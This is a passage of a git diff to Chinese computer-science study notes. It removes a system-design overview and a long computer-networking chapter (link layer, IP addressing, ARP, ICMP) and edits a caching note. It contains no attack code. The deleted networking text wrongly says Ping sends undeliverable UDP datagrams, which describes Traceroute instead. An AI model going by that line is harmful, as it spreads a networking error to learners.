+从上面的讨论可以知道，a<sub>n</sub> = 2 * a<sub>n-1</sub> + 1，显然 a<sub>n</sub> = 2<sup>n</sup> - 1，n 个圆盘需要移动 2<sup>n</sup> - 1 次。
 
 <div align="center"> <img src="../pics//54f1e052-0596-4b5e-833c-e80d75bf3f9b.png" width="300"/> </div><br>
 
diff --git a/notes/系统设计基础.md b/notes/系统设计基础.md
index e132aa2c..649f563a 100644
--- a/notes/系统设计基础.md
+++ b/notes/系统设计基础.md
@@ -1,104 +1,4 @@
 <!-- GFM-TOC -->
-* [一、性能](#一性能)
-* [二、伸缩性](#二伸缩性)
-* [三、扩展性](#三扩展性)
-* [四、可用性](#四可用性)
-* [五、安全性](#五安全性)
 <!-- GFM-TOC -->
 
 
-# 一、性能
-
-## 性能指标
-
-### 1. 响应时间
-
-指从某个请求发出到接收到响应消耗的时间。
-
-在对响应时间进行测试时，通常采用重复请求方式，然后计算平均响应时间。
-
-### 2. 吞吐量
-
-指系统在单位时间内可以处理的请求数量，通常使用每秒的请求数来衡量。
-
-### 3. 并发用户数
-
-指系统能同时处理的并发用户请求数量。
-
-在没有并发存在的系统中，请求被顺序执行，此时响应时间为吞吐量的倒数。例如系统支持的吞吐量为 100 req/s，那么平均响应时间应该为 0.01s。
-
-目前的大型系统都支持多线程来处理并发请求，多线程能够提高吞吐量以及缩短响应时间，主要有两个原因：
-
-- 多 CPU
-- IO 等待时间
-
-使用 IO 多路复用等方式，系统在等待一个 IO 操作完成的这段时间内不需要被阻塞，可以去处理其它请求。通过将这个等待时间利用起来，使得 CPU 利用率大大提高。
-
-并发用户数不是越高越好，因为如果并发用户数太高，系统来不及处理这么多的请求，会使得过多的请求需要等待，那么响应时间就会大大提高。
-
-## 性能优化
-
-### 1. 集群
-
-将多台服务器组成集群，使用负载均衡将请求转发到集群中，避免单一服务器的负载压力过大导致性能降低。
-
-### 2. 缓存
-
-缓存能够提高性能的原因如下：
-
-- 缓存数据通常位于内存等介质中，这种介质对于读操作特别快；
-- 缓存数据可以位于靠近用户的地理位置上；
-- 可以将计算结果进行缓存，从而避免重复计算。
-
-### 3. 异步
-
-某些流程可以将操作转换为消息，将消息发送到消息队列之后立即返回，之后这个操作会被异步处理。
-
-# 二、伸缩性
-
-指不断向集群中添加服务器来缓解不断上升的用户并发访问压力和不断增长的数据存储需求。
-
-## 伸缩性与性能
-
-如果系统存在性能问题，那么单个用户的请求总是很慢的；
-
-如果系统存在伸缩性问题，那么单个用户的请求可能会很快，但是在并发数很高的情况下系统会很慢。
-
-## 实现伸缩性
-
-应用服务器只要不具有状态，那么就可以很容易地通过负载均衡器向集群中添加新的服务器。
-
-关系型数据库的伸缩性通过 Sharding 来实现，将数据按一定的规则分布到不同的节点上，从而解决单台存储服务器存储空间限制。
-
-对于非关系型数据库，它们天生就是为海量数据而诞生，对伸缩性的支持特别好。
-
-# 三、扩展性
-
-指的是添加新功能时对现有系统的其它应用无影响，这就要求不同应用具备低耦合的特点。
-
-实现可扩展主要有两种方式：
-
-- 使用消息队列进行解耦，应用之间通过消息传递的方式进行通信；
-- 使用分布式服务将业务和可复用的服务分离开来，业务使用分布式服务器框架调用可复用的服务。新增的产品可以用过调用可复用的服务来实现业务逻辑，对其它产品没有影响。
-
-# 四、可用性
-
-## 冗余
-
-保证高可用的主要手段是使用冗余，当某个服务器故障时就请求其它服务器。
-
-应用服务器的冗余比较容易实现，只要保证应用服务器不具有状态，那么某个应用服务器故障时，负载均衡器将该应用服务器原先的用户请求转发到另一个应用服务器上不会对用户有任何影响。
-
-存储服务器的冗余需要使用主从复制来实现，当主服务器故障时，需要提升从服务器为主服务器，这个过程称为切换。
-
-## 监控
-
-对 CPU、内存、磁盘、网络等系统负载信息进行监控，当某个数据达到一定阈值时通知运维人员，从而在系统发生故障之前及时发现问题。
-
-## 服务降级
-
-服务器降级是系统为了应对大量的请求，主动关闭部分功能，从而保证核心功能可用。
-
-# 五、安全性
-
-要求系统的应对各种攻击手段时能够有可靠的应对措施。
diff --git a/notes/缓存.md b/notes/缓存.md
index e60373dd..449598ff 100644
--- a/notes/缓存.md
+++ b/notes/缓存.md
@@ -163,7 +163,11 @@ public class LRU<K, V> implements Iterable<K> {
 
 ## 分布式缓存
 
-使用 Redis、Memcache 等分布式缓存将数据缓存在分布式缓存系统中。相对于本地缓存来说，分布式缓存单独部署，可以根据需求分配硬件资源。不仅如此，服务器集群都可以访问分布式缓存，本地缓存需要在服务器集群之间进行同步，实现和性能开销上都非常大。
+使用 Redis、Memcache 等分布式缓存将数据缓存在分布式缓存系统中。
+
+相对于本地缓存来说，分布式缓存单独部署，可以根据需求分配硬件资源。
+
+不仅如此，服务器集群都可以访问分布式缓存。而本地缓存需要在服务器集群之间进行同步，实现和性能开销上都非常大。
 
 ## 数据库缓存
 
@@ -171,7 +175,7 @@ MySQL 等数据库管理系统具有自己的查询缓存机制来提高 SQL 查
 
 # 四、CDN
 
-内容分发网络（Content distribution network，CDN）是一种通过互连的网络系统，利用更靠近用户的服务器更快更可靠地将 HTML、CSS、JavaScript、音乐、图片、视频等静态资源其它数据分发给用户。
+内容分发网络（Content distribution network，CDN）是一种通过互连的网络系统，利用更靠近用户的服务器更快更可靠地将 HTML、CSS、JavaScript、音乐、图片、视频等静态资源分发给用户。
 
 CDN 主要有以下优点：
 
@@ -190,7 +194,7 @@ CDN 主要有以下优点：
 
 ## 缓存穿透
 
-指的是对某个一定不存在的数据进行请求，该请求将会穿透缓存来到数据库。
+指的是对某个一定不存在的数据进行请求，该请求将会穿透缓存到达数据库。
 
 解决方案：
 
@@ -207,6 +211,7 @@ CDN 主要有以下优点：
 
 - 为了防止缓存在同一时间大面积过期导致的缓存雪崩，可以通过观察用户行为，合理设置缓存过期时间来实现；
 - 为了防止缓存服务器宕机出现的缓存雪崩，可以使用分布式缓存，分布式缓存中每一个节点只缓存部分的数据，当某个节点宕机时可以保证其它节点的缓存仍然可用。
+- 也可以在进行缓存预热，避免在系统刚启动不久由于还未将大量数据进行缓存而导致缓存雪崩。
 
 ## 缓存一致性
 
@@ -258,7 +263,7 @@ Distributed Hash Table（DHT） 是一种哈希分布方式，其目的是为了
 
 上面描述的一致性哈希存在数据分布不均匀的问题，节点存储的数据量有可能会存在很大的不同。
 
-数据不均匀主要是因为节点在哈希环上分布的不均匀，这种情况在节点数量很少的情况下尤其明显。解决方式是通过增加虚拟节点，然后将虚拟节点映射到真实节点上。虚拟节点的数量比真实节点来得大，那么虚拟节点在哈希环上分布的均匀性就会比原来的真是节点号，从而使得数据分布也更加均匀。
+数据不均匀主要是因为节点在哈希环上分布的不均匀，这种情况在节点数量很少的情况下尤其明显。解决方式是通过增加虚拟节点，然后将虚拟节点映射到真实节点上。虚拟节点的数量比真实节点来得大，那么虚拟节点在哈希环上分布的均匀性就会比原来的真是节点好，从而使得数据分布也更加均匀。
 
 参考资料：
 
diff --git a/notes/计算机网络.md b/notes/计算机网络.md
index f1460844..649f563a 100644
--- a/notes/计算机网络.md
+++ b/notes/计算机网络.md
@@ -1,890 +1,4 @@
 <!-- GFM-TOC -->
-* [一、概述](#一概述)
-    * [网络的网络](#网络的网络)
-    * [ISP](#isp)
-    * [主机之间的通信方式](#主机之间的通信方式)
-    * [电路交换与分组交换](#电路交换与分组交换)
-    * [时延](#时延)
-    * [计算机网络体系结构*](#计算机网络体系结构)
-* [二、物理层](#二物理层)
-    * [通信方式](#通信方式)
-    * [带通调制](#带通调制)
-* [三、数据链路层](#三数据链路层)
-    * [基本问题](#基本问题)
-    * [信道分类](#信道分类)
-    * [信道复用技术](#信道复用技术)
-    * [CSMA/CD 协议*](#csmacd-协议)
-    * [PPP 协议](#ppp-协议)
-    * [MAC 地址](#mac-地址)
-    * [局域网](#局域网)
-    * [以太网*](#以太网)
-    * [交换机*](#交换机)
-    * [虚拟局域网](#虚拟局域网)
-* [四、网络层*](#四网络层)
-    * [概述](#概述)
-    * [IP 数据报格式](#ip-数据报格式)
-    * [IP 地址编址方式](#ip-地址编址方式)
-    * [地址解析协议 ARP](#地址解析协议-arp)
-    * [网际控制报文协议 ICMP](#网际控制报文协议-icmp)
-    * [虚拟专用网 VPN](#虚拟专用网-vpn)
-    * [网络地址转换 NAT](#网络地址转换-nat)
-    * [路由器的结构](#路由器的结构)
-    * [路由器分组转发流程](#路由器分组转发流程)
-    * [路由选择协议](#路由选择协议)
-* [五、运输层*](#五运输层)
-    * [UDP 和 TCP 的特点](#udp-和-tcp-的特点)
-    * [UDP 首部格式](#udp-首部格式)
-    * [TCP 首部格式](#tcp-首部格式)
-    * [TCP 的三次握手](#tcp-的三次握手)
-    * [TCP 的四次挥手](#tcp-的四次挥手)
-    * [TCP 滑动窗口](#tcp-滑动窗口)
-    * [TCP 可靠传输](#tcp-可靠传输)
-    * [TCP 流量控制](#tcp-流量控制)
-    * [TCP 拥塞控制](#tcp-拥塞控制)
-* [六、应用层](#六应用层)
-    * [域名系统](#域名系统)
-    * [文件传送协议](#文件传送协议)
-    * [远程登录协议](#远程登录协议)
-    * [电子邮件协议](#电子邮件协议)
-    * [动态主机配置协议](#动态主机配置协议)
-    * [常用端口](#常用端口)
-    * [Web 页面请求过程](#web-页面请求过程)
-* [参考资料](#参考资料)
 <!-- GFM-TOC -->
 
 
-# 一、概述
-
-## 网络的网络
-
-网络把主机连接起来，而互联网是把多种不同的网络连接起来，因此互联网是网络的网络。
-
-<div align="center"> <img src="../pics//network-of-networks.gif" width="500"/> </div><br>
-
-## ISP
-
-互联网服务提供商 ISP 可以从互联网管理机构获得许多 IP 地址，同时拥有通信线路以及路由器等联网设备，个人或机构向 ISP 缴纳一定的费用就可以接入互联网。
-
-<div align="center"> <img src="../pics//46cec213-3048-4a80-aded-fdd577542801.jpg" width="500"/> </div><br>
-
-目前的互联网是一种多层次 ISP 结构，ISP 根据覆盖面积的大小分为第一层 ISP、区域 ISP 和接入 ISP。
-
-互联网交换点 IXP 允许两个 ISP 直接相连而不用经过第三个 ISP。
-
-<div align="center"> <img src="../pics//168e893c-e4a0-4ba4-b81f-9d993483abd0.jpg" width="500"/> </div><br>
-
-## 主机之间的通信方式
-
-- 客户-服务器（C/S）：客户是服务的请求方，服务器是服务的提供方。
-
-- 对等（P2P）：不区分客户和服务器。
-
-<div align="center"> <img src="../pics//2ad244f5-939c-49fa-9385-69bc688677ab.jpg" width=""/> </div><br>
-
-## 电路交换与分组交换
-
-### 1. 电路交换
-
-电路交换用于电话通信系统，两个用户要通信之前需要建立一条专用的物理链路，并且在整个通信过程中始终占用该链路。由于通信的过程中不可能一直在使用传输线路，因此电路交换对线路的利用率很低，往往不到 10%。
-
-### 2. 分组交换
-
-每个分组都有首部和尾部，包含了源地址和目的地址等控制信息，在同一个传输线路上同时传输多个分组互相不会影响，因此在同一条传输线路上允许同时传输多个分组，也就是说分组交换不需要占用传输线路。
-
-考虑在一个邮局通信系统中，邮局收到一份邮件之后，先存储下来，然后把相同目的地的邮件一起转发到下一个目的地，这个过程就是存储转发过程，分组交换也使用了存储转发过程。
-
-## 时延
-
-总时延 = 传输时延 + 传播时延 + 处理时延 + 排队时延
-
-<div align="center"> <img src="../pics//3939369b-3a4a-48a0-b9eb-3efae26dd400.png" width="800"/> </div><br>
-
-### 1. 传输时延
-
-主机或路由器传输数据帧所需要的时间。
-
-<div align="center"><img src="https://latex.codecogs.com/gif.latex?delay=\frac{l(bit)}{v(bit/s)}"/></div> <br>
-
-其中 l 表示数据帧的长度，v 表示传输速率。
-
-### 2. 传播时延
-
-电磁波在信道中传播一定的距离需要花费的时间，电磁波传播速度接近光速。
-
-<div align="center"><img src="https://latex.codecogs.com/gif.latex?delay=\frac{l(m)}{v(m/s)}"/></div> <br>
-
-其中 l 表示信道长度，v 表示电磁波在信道上的传播速率。
-
-### 3. 处理时延
-
-主机或路由器收到分组时进行处理所需要的时间，例如分析首部、从分组中提取数据、进行差错检验或查找适当的路由等。
-
-### 4. 排队时延
-
-分组在路由器的输入队列和输出队列中排队等待的时间，取决于网络当前的通信量。
-
-## 计算机网络体系结构*
-
-<div align="center"> <img src="../pics//426df589-6f97-4622-b74d-4a81fcb1da8e.png" width="800"/> </div><br>
-
-### 1. 五层协议
-
--  **应用层** ：为特定应用程序提供数据传输服务，例如 HTTP、DNS 等。数据单位为报文。
-
--  **运输层** ：提供的是进程间的通用数据传输服务。由于应用层协议很多，定义通用的运输层协议就可以支持不断增多的应用层协议。运输层包括两种协议：传输控制协议 TCP，提供面向连接、可靠的数据传输服务，数据单位为报文段；用户数据报协议 UDP，提供无连接、尽最大努力的数据传输服务，数据单位为用户数据报。TCP 主要提供完整性服务，UDP 主要提供及时性服务。
-
--  **网络层** ：为主机间提供数据传输服务，而运输层协议是为主机中的进程提供服务。网络层把运输层传递下来的报文段或者用户数据报封装成分组。
-
--  **数据链路层** ：网络层针对的还是主机之间的数据传输服务，而主机之间可以有很多链路，链路层协议就是为同一链路的节点提供服务。数据链路层把网络层传来的分组封装成帧。
-
--  **物理层** ：考虑的是怎样在传输媒体上传输数据比特流，而不是指具体的传输媒体。物理层的作用是尽可能屏蔽传输媒体和通信手段的差异，使数据链路层感觉不到这些差异。
-
-### 2. OSI
-
-其中表示层和会话层用途如下：
-
--  **表示层** ：数据压缩、加密以及数据描述，这使得应用程序不必担心在各台主机中数据内部格式不同的问题。
-
--  **会话层** ：建立及管理会话。
-
-五层协议没有表示层和会话层，而是将这些功能留给应用程序开发者处理。
-
-### 3. TCP/IP
-
-它只有四层，相当于五层协议中数据链路层和物理层合并为网络接口层。
-
-现在的 TCP/IP 体系结构不严格遵循 OSI 分层概念，应用层可能会直接使用 IP 层或者网络接口层。
-
-<div align="center"> <img src="../pics//45e0e0bf-386d-4280-a341-a0b9496c7674.png" width="400"/> </div><br>
-
-TCP/IP 协议族是一种沙漏形状，中间小两边大，IP 协议在其中占用举足轻重的地位。
-
-<div align="center"> <img src="../pics//d4eef1e2-5703-4ca4-82ab-8dda93d6b81f.png" width="500"/> </div><br>
-
-### 4. 数据在各层之间的传递过程
-
-在向下的过程中，需要添加下层协议所需要的首部或者尾部，而在向上的过程中不断拆开首部和尾部。
-
-路由器只有下面三层协议，因为路由器位于网络核心中，不需要为进程或者应用程序提供服务，因此也就不需要运输层和应用层。
-
-<div align="center"> <img src="../pics//ac106e7e-489a-4082-abd9-dabebe48394c.jpg" width="800"/> </div><br>
-
-# 二、物理层
-
-## 通信方式
-
-根据信息在传输线上的传送方向，分为以下三种通信方式：
-
-- 单工通信：单向传输
-- 半双工通信：双向交替传输
-- 全双工通信：双向同时传输
-
-## 带通调制
-
-模拟信号是连续的信号，数字信号是离散的信号。带通调制把数字信号转换为模拟信号。
-
-<div align="center"> <img src="../pics//f0a31c04-6e26-408c-8395-88f4e2ae928b.jpg"/> </div><br>
-
-# 三、数据链路层
-
-## 基本问题
-
-### 1. 封装成帧
-
-将网络层传下来的分组添加首部和尾部，用于标记帧的开始和结束。
-
-<div align="center"> <img src="../pics//ea5f3efe-d5e6-499b-b278-9e898af61257.jpg" width="500"/> </div><br>
-
-### 2. 透明传输
-
-透明表示一个实际存在的事物看起来好像不存在一样。
-
-帧使用首部和尾部进行定界，如果帧的数据部分含有和首部尾部相同的内容，那么帧的开始和结束位置就会被错误的判定。需要在数据部分出现首部尾部相同的内容前面插入转义字符。如果数据部分出现转义字符，那么就在转义字符前面再加个转义字符。在接收端进行处理之后可以还原出原始数据。这个过程透明传输的内容是转义字符，用户察觉不到转义字符的存在。
-
-<div align="center"> <img src="../pics//c5022dd3-be22-4250-b9f6-38ae984a04d7.jpg" width="600"/> </div><br>
-
-### 3. 差错检测
-
-目前数据链路层广泛使用了循环冗余检验（CRC）来检查比特差错。
-
-## 信道分类
-
-### 1. 广播信道
-
-一对多通信，一个节点发送的数据能够被广播信道上所有的节点接收到。
-
-所有的节点都在同一个广播信道上发送数据，因此需要有专门的控制方法进行协调，避免发生冲突（冲突也叫碰撞）。
-
-主要有两种控制方法进行协调，一个是使用信道复用技术，一是使用 CSMA/CD 协议。
-
-### 2. 点对点信道
-
-一对一通信。
-
-因为不会发生碰撞，因此也比较简单，使用 PPP 协议进行控制。
-
-## 信道复用技术
-
-### 1. 频分复用
-
-频分复用的所有主机在相同的时间占用不同的频率带宽资源。
-
-<div align="center"> <img src="../pics//c4c14368-519c-4a0e-8331-0a553715e3e7.jpg"/> </div><br>
-
-### 2. 时分复用
-
-时分复用的所有主机在不同的时间占用相同的频率带宽资源。
-
-<div align="center"> <img src="../pics//fa2273c3-1b5f-48ce-8e8b-441a4116c1c4.jpg"/> </div><br>
-
-使用频分复用和时分复用进行通信，在通信的过程中主机会一直占用一部分信道资源。但是由于计算机数据的突发性质，通信过程没必要一直占用信道资源而不让出给其它用户使用，因此这两种方式对信道的利用率都不高。
-
-### 3. 统计时分复用
-
-是对时分复用的一种改进，不固定每个用户在时分复用帧中的位置，只要有数据就集中起来组成统计时分复用帧然后发送。
-
-<div align="center"> <img src="../pics//5999e5de-7c16-4b52-b3aa-6dc7b58c7894.png" width="700"/> </div><br>
-
-### 4. 波分复用
-
-光的频分复用。由于光的频率很高，因此习惯上用波长而不是频率来表示所使用的光载波。
-
-<div align="center"> <img src="../pics//21041ec2-babb-483f-bf47-8b8148eec162.png" width="700"/> </div><br>
-
-### 5. 码分复用
-
-为每个用户分配 m bit 的码片，并且所有的码片正交，对于任意两个码片 <img src="https://latex.codecogs.com/gif.latex?\vec{S}"/> 和 <img src="https://latex.codecogs.com/gif.latex?\vec{T}"/> 有
-
-<div align="center"><img src="https://latex.codecogs.com/gif.latex?\frac{1}{m}\vec{S}\cdot\vec{T}=0"/></div> <br>
-
-为了讨论方便，取 m=8，设码片 <img src="https://latex.codecogs.com/gif.latex?\vec{S}"/> 为 00011011。在拥有该码片的用户发送比特 1 时就发送该码片，发送比特 0 时就发送该码片的反码 11100100。
-
-在计算时将 00011011 记作 (-1 -1 -1 +1 +1 -1 +1 +1)，可以得到
-
-<div align="center"><img src="https://latex.codecogs.com/gif.latex?\frac{1}{m}\vec{S}\cdot\vec{S}=1"/></div> <br>
-
-<div align="center"><img src="https://latex.codecogs.com/gif.latex?\frac{1}{m}\vec{S}\cdot\vec{S'}=-1"/></div> <br>
-
-其中 <img src="https://latex.codecogs.com/gif.latex?\vec{S'}"/> 为 <img src="https://latex.codecogs.com/gif.latex?\vec{S}"/> 的反码。
-
-利用上面的式子我们知道，当接收端使用码片 <img src="https://latex.codecogs.com/gif.latex?\vec{S}"/> 对接收到的数据进行内积运算时，结果为 0 的是其它用户发送的数据，结果为 1 的是用户发送的比特 1，结果为 -1 的是用户发送的比特 0。
-
-码分复用需要发送的数据量为原先的 m 倍。
-
-<div align="center"> <img src="../pics//92ad9bae-7d02-43ba-8115-a9d6f530ca28.png" width="600"/> </div><br>
-
-## CSMA/CD 协议*
-
-CSMA/CD 表示载波监听多点接入 / 碰撞检测。
-
--  **多点接入** ：说明这是总线型网络，许多主机以多点的方式连接到总线上。
--  **载波监听** ：每个主机都必须不停地监听信道。在发送前，如果监听到信道正在使用，就必须等待。
--  **碰撞检测** ：在发送中，如果监听到信道已有其它主机正在发送数据，就表示发生了碰撞。虽然每个主机在发送数据之前都已经监听到信道为空闲，但是由于电磁波的传播时延的存在，还是有可能会发生碰撞。
-
-记端到端的传播时延为 τ，最先发送的站点最多经过 2τ 就可以知道是否发生了碰撞，称 2τ 为  **争用期** 。只有经过争用期之后还没有检测到碰撞，才能肯定这次发送不会发生碰撞。
-
-当发生碰撞时，站点要停止发送，等待一段时间再发送。这个时间采用  **截断二进制指数退避算法**  来确定。从离散的整数集合 {0, 1, .., (2<sup>k</sup>-1)} 中随机取出一个数，记作 r，然后取 r 倍的争用期作为重传等待时间。
-
-<div align="center"> <img src="../pics//5aa82b89-f266-44da-887d-18f31f01d8ef.png" width="600"/> </div><br>
-
-## PPP 协议
-
-互联网用户通常需要连接到某个 ISP 之后才能接入到互联网，PPP 协议是用户计算机和 ISP 进行通信时所使用的数据链路层协议。
-
-<div align="center"> <img src="../pics//ddcf2327-8d84-425d-8535-121a94bcb88d.jpg" width="600"/> </div><br>
-
-PPP 的帧格式：
-
-- F 字段为帧的定界符
-- A 和 C 字段暂时没有意义
-- FCS 字段是使用 CRC 的检验序列
-- 信息部分的长度不超过 1500
-
-<div align="center"> <img src="../pics//69f16984-a66f-4288-82e4-79b4aa43e835.jpg" width="500"/> </div><br>
-
-## MAC 地址
-
-MAC 地址是链路层地址，长度为 6 字节（48 位），用于唯一标识网络适配器（网卡）。
-
-一台主机拥有多少个适配器就有多少个 MAC 地址。例如笔记本电脑普遍存在无线网络适配器和有线网络适配器，因此就有两个 MAC 地址。
-
-## 局域网
-
-局域网是一种典型的广播信道，主要特点是网络为一个单位所拥有，且地理范围和站点数目均有限。
-
-主要有以太网、令牌环网、FDDI 和 ATM 等局域网技术，目前以太网占领着有线局域网市场。
-
-可以按照网络拓结构扑对局域网进行分类：
-
-<div align="center"> <img src="../pics//a6026bb4-3daf-439f-b1ec-a5a24e19d2fb.jpg" width="600"/> </div><br>
-
-## 以太网*
-
-以太网是一种星型拓扑结构局域网。
-
-早期使用集线器进行连接。集线器是一种物理层设备，作用于比特而不是帧，当一个比特到达接口时，集线器重新生成这个比特，并将其能量强度放大，从而扩大网络的传输距离。之后再将这个比特发送到其它所有接口。如果集线器同时收到同时从两个不同接口的帧，那么就发生了碰撞。
-
-目前以太网使用交换机替代了集线器。交换机是一种链路层设备，它不会发生碰撞，能根据 MAC 地址进行存储转发。
-
-以太网帧格式：
-
--  **类型** ：标记上层使用的协议；
--  **数据** ：长度在 46-1500 之间，如果太小则需要填充；
--  **FCS** ：帧检验序列，使用的是 CRC 检验方法；
--  **前同步码** ：只是为了计算 FCS 临时加入的，计算结束之后会丢弃。
-
-<div align="center"> <img src="../pics//50d38e84-238f-4081-8876-14ef6d7938b5.jpg" width="600"/> </div><br>
-
-## 交换机*
-
-交换机具有自学习能力，学习的是交换表的内容，交换表中存储着 MAC 地址到接口的映射。正是由于这种自学习能力，因此交换机是一种即插即可即用设备，不需要网络管理员手动配置交换表内容。
-
-下图中，交换机有 4 个接口，主机 A 向主机 B 发送数据帧时，交换机把主机 A 到接口 1 的映射写入交换表中。为了发送数据帧到 B，先查交换表，此时没有主机 B 的表项，那么主机 A 就发送广播帧，主机 C 和主机 D 会丢弃该帧。主机 B 收下之后，查找交换表得到主机 A 映射的接口为 1，就发送数据帧到接口 1，同时交换机添加主机 B 到接口 3 的映射。
-
-<div align="center"> <img src="../pics//c9cfcd20-c901-435f-9a07-3e46830c359f.jpg" width="800"/> </div><br>
-
-## 虚拟局域网
-
-虚拟局域网可以建立与物理位置无关的逻辑组，只有在同一个虚拟局域网中的成员才会收到链路层广播信息。例如下图中 (A1, A2, A3, A4) 属于一个虚拟局域网，A1 发送的广播会被 A2、A3、A4 收到，而其它站点收不到。
-
-使用 VLAN 干线连接来建立虚拟局域网，每台交换机上的一个特殊端口被设置为干线端口，以互连 VLAN 交换机。IEEE 定义了一种扩展的以太网帧格式 802.1Q，它在标准以太网帧上加进了 4 字节首部 VLAN 标签，用于表示该帧属于哪一个虚拟局域网。
-
-<div align="center"> <img src="../pics//a74b70ac-323a-4b31-b4d5-90569b8a944b.png" width="500"/> </div><br>
-
-# 四、网络层*
-
-## 概述
-
-因为网络层是整个互联网的核心，因此应当让网络层尽可能简单。网络层向上只提供简单灵活的、无连接的、尽最大努力交互的数据报服务。
-
-使用 IP 协议，可以把异构的物理网络连接起来，使得在网络层看起来好像是一个统一的网络。
-
-<div align="center"> <img src="../pics//7b038838-c75b-4538-ae84-6299386704e5.jpg" width="500"/> </div><br>
-
-与 IP 协议配套使用的还有三个协议：
-
-- 地址解析协议 ARP（Address Resolution Protocol）
-- 网际控制报文协议 ICMP（Internet Control Message Protocol）
-- 网际组管理协议 IGMP（Internet Group Management Protocol）
-
-<div align="center"> <img src="../pics//0a9f4125-b6ab-4e94-a807-fd7070ae726a.png" width="350"/> </div><br>
-
-## IP 数据报格式
-
-<div align="center"> <img src="../pics//85c05fb1-5546-4c50-9221-21f231cdc8c5.jpg" width="700"/> </div><br>
-
--  **版本**  : 有 4（IPv4）和 6（IPv6）两个值；
-
--  **首部长度**  : 占 4 位，因此最大值为 15。值为 1 表示的是 1 个 32 位字的长度，也就是 4 字节。因为首部固定长度为 20 字节，因此该值最小为 5。如果可选字段的长度不是 4 字节的整数倍，就用尾部的填充部分来填充。
-
--  **区分服务**  : 用来获得更好的服务，一般情况下不使用。
-
--  **总长度**  : 包括首部长度和数据部分长度。
-
--  **生存时间**  ：TTL，它的存在是为了防止无法交付的数据报在互联网中不断兜圈子。以路由器跳数为单位，当 TTL 为 0 时就丢弃数据报。
-
--  **协议** ：指出携带的数据应该上交给哪个协议进行处理，例如 ICMP、TCP、UDP 等。
-
--  **首部检验和** ：因为数据报每经过一个路由器，都要重新计算检验和，因此检验和不包含数据部分可以减少计算的工作量。
-
--  **标识**  : 在数据报长度过长从而发生分片的情况下，相同数据报的不同分片具有相同的标识符。
-
--  **片偏移**  : 和标识符一起，用于发生分片的情况。片偏移的单位为 8 字节。
-
-<div align="center"> <img src="../pics//23ba890e-e11c-45e2-a20c-64d217f83430.png" width="700"/> </div><br>
-
-## IP 地址编址方式
-
-IP 地址的编址方式经历了三个历史阶段：
-
-- 分类
-- 子网划分
-- 无分类
-
-### 1. 分类
-
-由两部分组成，网络号和主机号，其中不同分类具有不同的网络号长度，并且是固定的。
-
-IP 地址 ::= {< 网络号 >, < 主机号 >}
-
-<div align="center"> <img src="../pics//cbf50eb8-22b4-4528-a2e7-d187143d57f7.png" width="500"/> </div><br>
-
-### 2. 子网划分
-
-通过在主机号字段中拿一部分作为子网号，把两级 IP 地址划分为三级 IP 地址。注意，外部网络看不到子网的存在。
-
-IP 地址 ::= {< 网络号 >, < 子网号 >, < 主机号 >}
-
-要使用子网，必须配置子网掩码。一个 B 类地址的默认子网掩码为 255.255.0.0，如果 B 类地址的子网占两个比特，那么子网掩码为 11111111 11111111 11000000 00000000，也就是 255.255.192.0。
-
-### 3. 无分类
-
-无分类编址 CIDR 消除了传统 A 类、B 类和 C 类地址以及划分子网的概念，使用网络前缀和主机号来对 IP 地址进行编码，网络前缀的长度可以根据需要变化。
-
-IP 地址 ::= {< 网络前缀号 >, < 主机号 >}
-
-CIDR 的记法上采用在 IP 地址后面加上网络前缀长度的方法，例如 128.14.35.7/20 表示前 20 位为网络前缀。
-
-CIDR 的地址掩码可以继续称为子网掩码，子网掩码首 1 长度为网络前缀的长度。
-
-一个 CIDR 地址块中有很多地址，一个 CIDR 表示的网络就可以表示原来的很多个网络，并且在路由表中只需要一个路由就可以代替原来的多个路由，减少了路由表项的数量。把这种通过使用网络前缀来减少路由表项的方式称为路由聚合，也称为  **构成超网** 。
-
-在路由表中的项目由“网络前缀”和“下一跳地址”组成，在查找时可能会得到不止一个匹配结果，应当采用最长前缀匹配来确定应该匹配哪一个。
-
-## 地址解析协议 ARP
-
-网络层实现主机之间的通信，而链路层实现具体每段链路之间的通信。因此在通信过程中，IP 数据报的源地址和目的地址始终不变，而 MAC 地址随着链路的改变而改变。
-
-<div align="center"> <img src="../pics//66192382-558b-4b05-a35d-ac4a2b1a9811.jpg" width="700"/> </div><br>
-
-ARP 实现由 IP 地址得到 MAC 地址。
-
-<div align="center"> <img src="../pics//b9d79a5a-e7af-499b-b989-f10483e71b8b.jpg" width="500"/> </div><br>
-
-每个主机都有一个 ARP 高速缓存，里面有本局域网上的各主机和路由器的 IP 地址到硬件地址的映射表。
-
-如果主机 A 知道主机 B 的 IP 地址，但是 ARP 高速缓存中没有该 IP 地址到 MAC 地址的映射，此时主机 A 通过广播的方式发送 ARP 请求分组，主机 B 收到该请求后会发送 ARP 响应分组给主机 A 告知其 MAC 地址，随后主机 A 向其高速缓存中写入主机 B 的 IP 地址到 MAC 地址的映射。
-
-<div align="center"> <img src="../pics//8006a450-6c2f-498c-a928-c927f758b1d0.png" width="700"/> </div><br>
-
-## 网际控制报文协议 ICMP
-
-ICMP 是为了更有效地转发 IP 数据报和提高交付成功的机会。它封装在 IP 数据报中，但是不属于高层协议。
-
-<div align="center"> <img src="../pics//e3124763-f75e-46c3-ba82-341e6c98d862.jpg" width="500"/> </div><br>
-
-ICMP 报文分为差错报告报文和询问报文。
-
-<div align="center"> <img src="../pics//aa29cc88-7256-4399-8c7f-3cf4a6489559.png" width="600"/> </div><br>
-
-### 1. Ping
-
-Ping 是 ICMP 的一个重要应用，主要用来测试两台主机之间的连通性。
-
-Ping 发送的 IP 数据报封装的是无法交付的 UDP 用户数据报。
-
-### 2. Traceroute
-
-Traceroute 是 ICMP 的另一个应用，用来跟踪一个分组从源点到终点的路径。
-
-- 源主机向目的主机发送一连串的 IP 数据报。第一个数据报 P1 的生存时间 TTL 设置为 1，当 P1 到达路径上的第一个路由器 R1 时，R1 收下它并把 TTL 减 1，此时 TTL 等于 0，R1 就把 P1 丢弃，并向源主机发送一个 ICMP 时间超过差错报告报文；
-- 源主机接着发送第二个数据报 P2，并把 TTL 设置为 2。P2 先到达 R1，R1 收下后把 TTL 减 1 再转发给 R2，R2 收下后也把 TTL 减 1，由于此时 TTL 等于 0，R2 就丢弃 P2，并向源主机发送一个 ICMP 时间超过差错报文。
-- 不断执行这样的步骤，直到最后一个数据报刚刚到达目的主机，主机不转发数据报，也不把 TTL 值减 1。但是因为数据报封装的是无法交付的 UDP，因此目的主机要向源主机发送 ICMP 终点不可达差错报告报文。
-- 之后源主机知道了到达目的主机所经过的路由器 IP 地址以及到达每个路由器的往返时间。
-
-## 虚拟专用网 VPN
-
